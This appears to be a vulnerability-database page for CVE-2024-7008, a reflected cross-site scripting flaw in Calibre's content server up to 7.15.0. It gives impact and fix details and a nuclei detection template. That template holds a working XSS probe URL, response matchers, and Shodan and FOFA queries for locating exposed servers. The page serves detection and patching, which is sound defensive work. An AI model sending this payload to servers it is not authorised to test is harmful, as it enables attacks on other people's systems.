HexBrain

Browse / CVEs / CVE-2024-7008

CVE-2024-7008

Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)

mediumseverity
25.6%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.

Impact

Attackers can craft malicious URLs that execute arbitrary JavaScript in victims' browsers, potentially performing unauthorized actions if authentication is enabled and the victim is logged in to the Calibre server.

Fix

Update Calibre to a version later than 7.15.0 to address the reflected XSS vulnerability.

How to confirm it

Send: GET /browse/book/TEST&quot;;window.stop();alert(document.domain);%2f%2f
Positive when: contains in header "text/html" AND contains "window.location.href = \"/#book_id=TEST\";window.stop();alert…" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7008 -u <target>

The full check
id: CVE-2024-7008

info:
  name: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
  author: DhiyaneshDK
  severity: medium
  description: |
    It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
  impact: |
    Attackers can craft malicious URLs that execute arbitrary JavaScript in victims' browsers, potentially performing unauthorized actions if authentication is enabled and the victim is logged in to the Calibre server.
  remediation: |
    Update Calibre to a version later than 7.15.0 to address the reflected XSS vulnerability.
  reference:
    - https://starlabs.sg/advisories/24/24-7008/
  classification:
    epss-score: 0.25607
    epss-percentile: 0.97974
  metadata:
    verified: true
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 1
  tags: cve,cve2024,calibre,xss,vuln

http:
  - raw:
      - |
        GET /browse/book/TEST&quot;;window.stop();alert(document.domain);%2f%2f HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - 'window.location.href = "/#book_id=TEST";window.stop();alert(document.domain);//&panel=book_details'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from